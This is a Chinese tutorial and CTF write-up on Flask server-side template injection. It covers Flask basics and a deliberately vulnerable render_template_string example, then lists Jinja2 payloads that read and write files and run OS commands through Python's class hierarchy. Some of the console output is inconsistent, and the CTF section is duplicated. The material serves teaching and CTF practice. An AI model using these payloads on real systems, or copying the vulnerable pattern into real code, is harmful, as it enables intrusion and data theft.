SSTI漏洞基础解析

news2024/11/27 19:50:23

flask基础

flask是python编写的一个WEB应用程序框架,flask由Armin Ronacher带领的一个Pocco团队开发,flask基于werkzeug
WSGI工具包个jinjia2模板引擎。

WSGI:Web Server Gateway Interface,即WEB服务器网关接口。

第一个flask程序

# 从flask中导入Flask,注意,flask是包名,Flask是模块名
from flask import Flask
# 初始化Flask
app = Flask(__name__)
# route是路由的意思,这里理解成路径,设置/则默认打开index页面,注意用单引号或者双引号包含起来
@app.route('/')
# 定义index函数,index函数名可以换成其他的,不一定强制要index,这里也就是相当于写一个页面
def index():
    # return的内容,会被显示在页面中
    return 'Hello,world!!!'

if __name__ == '__main__':
# 开始使用本地地址和指定的8080端口运行起来,如果不指定端口,则默认使用5000端口
# 如果不指定IP地址,默认只能本机访问,如果需要其他地方也能访问到本机开启的flask,则需要将地址换成0.0.0.0
    app.run('127.0.0.1','8080')

以上简单介绍了第一个flask创建的web服务器。

wKg0C2JGx3SAXKAvAACjLyx7nNw003.png

图片中启动flask后,可以在控制台查看到信息。

debug

flask编写的程序和php不一样,每一次变动都需要重启服务器来执行变更,就显得很麻烦,为了应对这种问题,flask中的debug模式可以在不影响服务器运行下,执行更新每一次的变更

debug=True

只需要在app.run原基础上加上debug.True,或者直接app.debug=True

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,world'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')
    # app.run('127.0.0.1','8080',debug=Ture)

route

程序中见到的@app.route(‘/’),相当于一个路径,可以是app.route(‘/user’),或者其他自定义的route,设置后,在url后面加上/user就可以访问了,每一个route后面都必须会有一个def函数跟着,代码解析一下。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,vfree'

@app.route('/user')
def user():
    return 'username:vFREE'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx32AGSvrAAEM4YeBapU730.png

我新建了一个route,然后写成/user,创建好后,访问127.0.0.1:8080/user,就会return回username:vFREE。实际上,flask的route在php中相当于文件名,而def中的内容,相当于文件内容。

识别传入的参数

给url添加可以传入变量的地方,只需要在route中的路径后面添加标记<value_name>,然后使用def接收,代码解释下。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,vfree'

@app.route('/user/<username>')
def user(username):
    return 'username:{0}'.format(username)

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

看到第二个route出,其中加了/<username>,这就是传入参数的接口,其中username相当于一个变量,将username放进def
user()中,然后用format带入username。

wKg0C2JGx4SAYKiAAEM4YeBapU386.png

输入/user/vfree就会输出Hello,vfree,往下看,接着将讲如何判断GET和POST,以及输出传入的数据参数。

HTTP方法

这里主要讲GET和POST方法。

GET方法和POST方法

from urllib import request
from flask import Flask,request
app = Flask(__name__)

@app.route('/method',methods = ['GET','POST'])
def method():
    if request.method == 'GET':
        return '现在的方法是GET'
    elif request.method == 'POST':
        return '现在的方法是POST'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

仔细分析上面的代码,会发现多了一个request和methods,request主要是用于在判断时,获取当前页面的方法,如果直接打开URL,就会显示GET方法,如果使用POST,就会显示POST方法,如下图测试页面:

wKg0C2JGx5eAc7TTAAA9KbJ3r24633.png

wKg0C2JGx46AXzgfAACdLmhN9E968.png

route中,methods要有s,并且方法用[ ]
括起来,其次就是方法要大写,不能小写,request和requests不一样,request是包含在flask中的,而requests是请求网页的,不能混淆,方法要大写,否则报错。

获取方法传入的参数

GET方法

GET方法用****request.args.get(‘[ 参数名
]’)****来接收从url栏中传入的参数,其中参数名是自定义的,比如定义了tss,那么在url栏中只能填入tss=xxxxx,如下面演示图所示:

wKg0C2JGx6WAHwdIAAB8hfGnlk335.png

POST方法

POST方法和GET方法获取传入的值截然不同,POST方法用****request.form[’ [参数名]
']****获取传入的参数值,和GET方法所介绍地一样,预定获取什么参数名就会获取传入地参数名中地参数,如下代码演示图所示:

wKg0C2JGx6yAWp9YAACW4JrfC70515.png

两种方法获取值地关键字不能互通,别把POST方法地form[]写成form()

redirect

这个关键字在flask中用于重定向,需要配合url_for使用,url_for使用于构造url,比如常见的用法就是在登陆页面,输入正确的账号密码后,重定向到另外一个页面中,接下来,请看代码演示:

import time
from flask import Flask,request,redirect,url_for
app = Flask(__name__)

@app.route('/login',methods = ['GET','POST'])
def login():
    username = 'admin' # 定义username
    password =  'admin' # 定义password
    user = request.args.get('username') # 获取传入的用户名
    passwd = request.form['passwd']  # 获取传入的密码
    if user == username and passwd == password:  # 判断用户名和密码是否和预定义的一样
        return redirect(url_for('login_s'))  # 如果一样,则通过redirect和url_for重定向到login_s中
    else:
        return 'username or password error' # 错误则返回用户名或者密码错误

@app.route('/login_s',methods = ['GET']) # 定义一个新的页面login_s
def login_s():
        return '登录成功' # 返回登陆成功



if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx7OASMGAABclNrNtVU699.png

**redirect和url_for也需要导入模块,

url_for用于定义一个url,可以包含同文件下的其他路径,也可以包含外部文件。

模板渲染

单调的html看起来是枯燥乏味的,一个好看的html文件是有不同样式的文件组成的,因此,为了让模板看起来更好看,我们就需要对模板进行渲染(以下演示的代码不会过于好看,仅作示范使用噢~),模板渲染需要注意一点,py文件和外部文件要放在同一个文件夹下,并且放置外部文件的文件夹名儿,要重命名为templates**,示例图:**

wKg0C2JGx7qAWayRAAAkelQEcz4019.png

render_template

根据上面的文件夹规则,我们在templates创建了一个index.html,然后再py文件中定义好需要渲染的内容,使用字典格式(请看下面的代码例子),一切准备就绪后,使用render_template将数据渲染过去index.html,如果有多个参数,请使用形参的形式传出,如下flask_tss.py文件代码所示,有三个参数,那么就用**********contents传过去,contents是自定义的,这样子,参数值就会一个不落地传到index.html

index.html文件中,需要使用格式为 "{{ 参数名 }}"接受参数值,比如’username’:‘vfree’

html文件中就是用<标签>{{ username
}}</标签>,看不懂不理解没关系,只需要看一下下面给出地两个文件示例,就懂了~请注意啦,html文件获取参数一定要填入传过来的参数名!!!

flask_tss.py文件:

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template
app = Flask(__name__)

@app.route('/')
def index():
    contents = {
        'username':'vFREE',
        'year':'20',
        'Country':'China'
    }
    return render_template('index.html',**contents)


if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

templates文件夹下的index.html

<html>
<head>
<body>
<h1>Hello,{{username}}</h1>
<h2>{{year}}</h2>
<h3>{{Country}}</h3>
</body>
</head>
</html>

render_template_string

这个使用于渲染字符串的一个函数,此函数可以将html代码变成字符串,
然后使用render_template_string(xxx)将文件渲染输出,这个可以用于没有外部文件的情况,直接再同文件下,定义好html代码,然后直接就可以渲染,render_template_string和render_template都是渲染,但是前者是字符串,后者是外部文件,具体看演示就明白。

wKg0C2JGx8KADqMEAAB6SLH3jt8444.png

render_template和render_template_string都需要导入才可以使用。

flask代码不严谨危险吗?

危险!!!如果flask代码不严谨,危害和过滤不严的PHP代码差不多,可能造成任意文件读取和RCE,最主要的漏洞成因是因为渲染模板时,没有严格控制对用户的输入,又或者使用了危险的模板,导致用户可以和flask程序进行交互,从而照成漏洞的产生,flask漏洞也被称为’SSTI’,既然flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等等等之类的函数,本文将以jinjia2的模板引擎render_template_string作为漏洞代码进行漏洞演示~

漏洞演示

下面是演示一个看起来没啥问题的代码,为什么这么说呢?请把目光移至html_str中的**<body>****</body>**标签,其中str是被{{}}包括起来的,也就是说,使用{{}}包起来的,是会被预先渲染转义,然后才输出的,不会被渲染执行。

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
    str = request.args.get('v')
    html_str = '''
        <html>
        <head></head>
        <body>{{str}}</body>
        </html>
    '''
    return render_template_string(html_str,str=str)

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

但是如果变成下面这个代码,发现了对用户传入的数据没有任何过滤,就直接将用户传入的参数值放入html_str中,然后经过模板渲染,直接输出,用户完全对输入值可控,就会照成SSTI漏洞,传入一个弹窗代码,查看效果。

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
    str = request.args.get('v')
    html_str = '''
        <html>
        <head></head>
        <body>{0}</body>
        </html>
    '''.format(str)
    return render_template_string(html_str)
  
if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx8uABHynAABnD7sFF8390.png

成功执行了我们的弹窗代码,如果把这段代码放在第一个代码中,就不会出现这种问题,因为已经被转义了,所以不会执行。

插入弹窗代码的危害还不是最大的,最大的是可以照成信息泄露,任意文件读取,RCE等漏洞,我们将弹窗代码转成{{config}},会输出:

wKg0C2JGx9OAel2OAAGWOjWrMok025.png

妥妥造成了信息泄露,但是还可以将危害扩大化,直接造成任意文件读取和RCE,在可以保证能看懂的情况下,我们得先学习python的魔术方法和继承关系,接下来细说。

魔术方法

ssti基本的思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果。

__class__ # 查找当前类型的所属对象
__mro__ # 查找当前类对象的所有继承类
__subclasses__ # 查找父类下的所有子类
__globals__ # 函数会议字典的形式返回当前对象的全部全局变量
__init__ # 查看类是否重载,重载是指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__base__ # 沿着父子类的关系往上走一个

object是父子关系的顶端,所有的数据类型最终的父类都是object
type是类型实例关系,所有对象都是type的示例

object和type即时类也是示例,因为object是type的一个示例,但是type又是object的子类,type自己创造了自己,object是type的弗雷,type创造了object

既然要找到父类下的子类中合适的函数,那么我们首要任务就找到父类,通过继承关系从而一步步往下找,接下来每一个步骤都有解析,师傅可以悟一悟,基本思路是这样子:

>>> print(''.__class__)
<type 'str'>
# 字符串的上一层父类就是str,既然我们知道了是什么类型,那么就可以通过__mro__找str的继承关系

>>> print(''.__class__.__class__.__mro__)
(<type 'type'>, <type 'object'>)
# 这里通过元组列出了两个关系,我们要找的不是type,而是后面的object,既然是元组,那么就通过__mro__[1].__subclasses__()找object对象下的所有子类

>>> print(''.__class__.__class__.__mro__[1].__subclasses__())
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, ...(省略部分)]
# 找到了父类下的子类,以列表的形式显示,假设我们要进行文件读取,那么就是找到<type 'file'>,所处列表位置是40  但是由于我的环境问题,这里不能的文件读取和RCE出现了问题,所以使用别的模块,道理都一样,通过找到重载的模块去一步步找所属的子类列表,这里使用的是列表第75位,已重载的

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75])
<type 'file'>
# 那么接下来就可以通过__init__查看是否重载

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__)
<class '_frozen_importlib._ModuleLock'>
# 没有wrapper字眼,说明已经被重载了,接下来继续找继承关系,使用__globals__找全局变量

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__)
{'__name__': 'importlib._bootstrap', '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', '__package__': 'importlib', '__loader__': <class '_frozen_importlib.FrozenImporter'>, '__spec__': ModuleSpec(name='_frozen_importlib', loader=<class '_frozen_importlib.FrozenImporter'>,...(省略部分))
# 找出了很多的全局变量,以字典的形式输出,这里演示用'__builtion__'做演示
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__'])
 
 {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>),...(省略部分)}
 # 到了这一步后,由于全局变量包含了eval,所以可以找到eval执行命令,然后再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选~
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))
flag requirements.txt
# 至此,成功执行了命令,找到了当前目录下的文件,至于__import__('os').popen('ls').read(),可以说是固定搭配

循环渐进,一层找一层,无非都是先找到父类,然后找父类下的子类,完了以后查看是否有重载,再通过全局变量找到eval进行执行命令,当然,也不单单只有这么一个思路,也可以不断横纵扩展,还有一个知识点就是,上面提到我们得先获取object对象,然后再去找子类,那么一定要用mro去获取父类么?其实不一定,我们也可以用base去获取object,但是个人感觉还是mro好用,base虽然也可以父类,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找,正所谓萝卜青菜各有所爱,mro和base都可以~

>>> print(''.__class__.__base__.__base__) # 依次网上找
<type 'object'>

>>> print(''.__class__.__mro__[-1]) # 一次性列出来所有继承关系
<type 'object'>

继承关系

在上面已经提到,通过一个子类找到父类,父类再找子类,再找到全局变量…这样子的就是继承关系,一层一层往上找,通过上面的payload基本都可以明白继承关系是啥,这里做一个简单的代码演示:

class A:pass
class B(A):pass
class C(B):pass
a = A()
b = B()
c = C()
print('a的继承关系:',end='')
print(a.__class__.__mro__)
print('b的继承关系:',end='')
print(b.__class__.__mro__)
print('c的继承关系:',end='')
print(c.__class__.__mro__)
# 输出
# a父类是object
a的继承关系:(<class '__main__.A'>, <class 'object'>) 
# b的父类是A,然后才是object
b的继承关系:(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# c的父类是B,然后再是A,最后是object
c的继承关系:(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# 一层层关系递进,形成一个继承关系

payload

列出一些常见的payloads

读文件

1.''.__class__.__mro__[-1].__subclasses__()[40]('/flag').read()
# 由于python3已经没有file了,所以使用open代替,open在__builtins__下
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/flag').read()
# 由于python3中取消了file,所以使用open代替

写文件

''.__class__.__mro__[-1].__subclasses__()[40]('/flag','w').write('<content>')

执行命令

1.__import__('os').system('[command]')
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")
# 此条payload也是找到重载再通过一层层去找所属的子类列表,然后去调用,注意,()和[]的使用方法,注意,此条指令通过url栏传入不会输出内容
3.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
# 此条是有回显的

从一道ctf题目中学习巩固flask文件读取/RCE

题目地址:catf1ag CTF:easy_flask

1.打开题目,直接测试/?cmd={{config}}

wKg0C2JGxeAdahkAAGWOjWrMok850.png有回显,说明存在SSTI漏洞,既然确定了有这个漏洞,那就直接根据上面给出的payload打一波命令执行或者文件读取即可,具体的可以看上面的payload结构,如果对结构不理解的,可以去看魔术方法下的解析过程~

# 最终payload
{{%27%27.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag%27).read()")}}

wKg0C2JGxARgXeAAA28adEKuM193.png

:easy_flask](http://timu.vfree.ltd:9021/?cmd=)

1.打开题目,直接测试/?cmd={{config}}

[外链图片转存中…(img-ySQ6KFqy-1676345159231)]有回显,说明存在SSTI漏洞,既然确定了有这个漏洞,那就直接根据上面给出的payload打一波命令执行或者文件读取即可,具体的可以看上面的payload结构,如果对结构不理解的,可以去看魔术方法下的解析过程~

# 最终payload
{{%27%27.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag%27).read()")}}

[外链图片转存中…(img-xF1SLJcR-1676345159232)]

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/345344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

openai chatgpt 相关

父文章 大数据模型 能做什么? 报告类: 剧本,报告, 标题, 大纲 (都是启发式的), 聊天类: 聊天, 反馈, 心理uu ds 搜索类: 搜索, 书本推荐 几乎可以完成自然语言处理的绝大部分任务 &#xff0c;例如面向问题的搜索、阅读理解、语义推断、机器翻译、文章生成和自动问答等等。…

C/【静态通讯录】

&#x1f331;博客主页&#xff1a;大寄一场. &#x1f331;系列专栏&#xff1a;C语言学习笔记 &#x1f618;博客制作不易欢迎各位&#x1f44d;点赞⭐收藏➕关注 前言 往期回顾&#xff1a; C/扫雷 C/N子棋 通讯录作为通讯录地址的书本&#xff0c;当今的通讯录可以涵盖多项…

彻底理解 cookie、session、token (二)

Cookie cookie 是一个非常具体的东西&#xff0c;指的就是浏览器里面能永久存储的一种数据&#xff0c;仅仅是浏览器实现的一种数据存储功能。 cookie由服务器生成&#xff0c;发送给浏览器&#xff0c;浏览器把cookie以kv形式保存到某个目录下的文本文件内&#xff0c;下一次…

vue2+微前端qiankun从搭建到部署的实践(主子应用切换;集成vue3+vite3子应用)

一、最终效果 二、微前端&#xff08;qiankun&#xff09;介绍及为什么选择用微前端&#xff0c;可以看官网 三、目录结构如下 四、具体配置 一、主应用配置 1、主应用技术栈 Vue-cli4搭建项目Vue2Element-Uiqiankun&#xff1b;Vue2Element-Uiqiankun 2、搭建好主项目&…

Java集合:Map的使用

1.Map框架l----Map:双列数据&#xff0c;存储key-value对的数据 ---类似于高中的函数: y f(x)|----HashMap:作为Map的主要实现类&#xff0c; 线程不安全的&#xff0c;效率高&#xff1b;可以存储null的key和value|----LinkedHashMap:保证在遍历map元素时&#xff0c;可以按照…

【Android】系统源码下载及编译

源码及编译 步骤 1&#xff1a;创建一个空目录来存放源码&#xff1a; mkdir aosp cd aosp步骤 2&#xff1a;获取最新版本的 repo 并签出 android-8.1.0_r1 分支&#xff1a; repo init -u https://android.googlesource.com/platform/manifest -b android-8.1.0_r1其中&am…

数据结构-考研难点代码突破(C++实现树型查找-二叉搜索树(二叉排序树))

文章目录1.二叉搜索树基本操作二叉搜索树的效率分析2. C实现1.二叉搜索树基本操作 二叉排序树是具有下列特性的二叉树&#xff1a; 若左子树非空&#xff0c;则左子树上所有结点的值均小于根结点的值。若右子树非空&#xff0c;则右子树上所有结点的值均大于根结点的值。左、…

蓝牙耳机哪个品牌性价比高?性价比高的无线蓝牙耳机

现如今耳机已经十分普及&#xff0c;大多数人会随身佩戴蓝牙耳机&#xff0c;相较于传统耳机&#xff0c;无线耳机不仅携带方便&#xff0c;舒适度上也更加出色。不过市面上的无线耳机种类繁多&#xff0c;很多朋友不知道该如何挑选&#xff0c;所以小编特意整理了一期性价比高…

从零开始搭建kubernetes集群环境(虚拟机/kubeadm方式)

文章目录1 Kubernetes简介&#xff08;k8s&#xff09;2 安装实战2.1 主机安装并初始化2.2 安装docker2.3 安装Kubernetes组件2.4 准备集群镜像2.5 集群初始化2.6 安装flannel网络插件3 部署nginx 测试3.1 创建一个nginx服务3.2 暴漏端口3.3 查看服务3.4 测试服务1 Kubernetes简…

2023如何选购适合游戏设计的电脑硬件

游戏设计涉及许多不同的学科&#xff0c;因此涉及许多不同的软件包。有游戏引擎本身&#xff0c;例如 Unreal Engine 和 Unity&#xff0c;以及 3D 设计软件&#xff0c;例如 3ds Max、Blender 和 ZBrush——等等&#xff01;大多数软件开发人员都维护着这些不同应用程序的系统…

C++设计模式(14)——享元模式

亦称&#xff1a; 缓存、Cache、Flyweight 意图 享元模式是一种结构型设计模式&#xff0c; 它摒弃了在每个对象中保存所有数据的方式&#xff0c; 通过共享多个对象所共有的相同状态&#xff0c; 让你能在有限的内存容量中载入更多对象。 问题 假如你希望在长时间工作后放…

U-Mail邮件系统安全攻略之邮件监控

随着互联网的普及&#xff0c;电子邮件已经成为现代人生活和工作中最常用的通信工具之一&#xff0c;在企业的内外文件往来和日常沟通中发挥着重要作用。电子邮件在获得广泛应用的同时&#xff0c;也让企业的重要信息安全受到很大的威胁&#xff0c;比如员工未经允许将公司重要…

复杂美公链技术重要特色:平行公链架构

复杂美公链技术Chain33从11月开源至今&#xff0c;获得众多合作方的认可&#xff0c;其中首创的平行公链架构被百度、阿里、360等机构认可并跟进研究&#xff0c;这也说明了平行公链或许是区块链普及应用的重要解决方案之一。 平行公链&#xff08;以下简称平行链&#xff09;是…

【ADRC控制】使用自抗扰控制器调节起动机入口压力值

以前只知道工业控制中用的是PID控制&#xff0c;然而最近了解到实际生产中还在使用ADRC控制&#xff0c;而且使用效果还优于PID控制&#xff0c;遂找了几篇文献学习学习。 0 引言 自抗扰控制&#xff08;Active Disturbances Rejection Controller&#xff0c;ADRC&#xff09;…

【Datawhale图机器学习】第一章图机器学习导论

图机器学习导论 学习路径与必读论文清单 斯坦福CS224W&#xff08;子豪兄中文精讲&#xff09;知识图谱实战DeepwalkNode2vecPageRankGNNGCNGragh-SAGEGINGATTrans-ETrans-R 图无处不在 图是描述关联数据的通用语言 举例 计算机网络新冠肺炎流行病学调查传播链食物链地铁图…

推荐一个.Ner Core开发的配置中心开源项目

更多开源项目请查看&#xff1a;一个专注推荐.Net开源项目的榜单 当你把单体应用改造为微服务架构&#xff0c;相应的配置文件&#xff0c;也会被分割&#xff0c;被分散到各个节点。这个时候就会产生一个问题&#xff0c;配置信息是分散的、冗余的&#xff0c;变成不好维护管理…

ZigBee案例笔记 - USART

文章目录1.串行通信接口简述2.串行通信接口寄存器U0CSR (0x86) -USART 0 控制和状态U0UCR (0xC4)–USART 0 UART 控制U0GCR (0xC5)–USART 0 通用控制U0BUF (0xC1) – USART 0 接收/传送数据缓存U0BAUD (0xC2) – USART 0 波特率控制3.设置串行通信接口比特率控制寄存器4.外设I…

分布式一致性算法Raft原理图释

什么是分布式一致性算法Raft 分布式一致性算法Raft&#xff1a;指在分布式场景下实现集群数据同步的解决方案 掌握了这个算法&#xff0c;就可以较容易地处理绝大部分场景的容错和数据一致性需求 Raft三大角色 跟随者&#xff08;Follower&#xff09;&#xff1a;普通群众…

opencv绘制矩形和圆

大家好&#xff0c;我是csdn的博主&#xff1a;lqj_本人 这是我的个人博客主页&#xff1a; lqj_本人的博客_CSDN博客-微信小程序,前端,python领域博主lqj_本人擅长微信小程序,前端,python,等方面的知识https://blog.csdn.net/lbcyllqj?spm1011.2415.3001.5343哔哩哔哩欢迎关注…

Go语言之 下载安装go以及vscode配置go环境

上篇请移步到Go语言之 下载安装及第一个代码_水w的博客-CSDN博客 目录 一、下载安装以及配置go环境 1 下载安装go 2 配置go环境 二、安装配置git 一、在vscode上开发golang 1 配置 2 编写代码 解决报错&#xff1a;go: go.mod file not found in current directory or …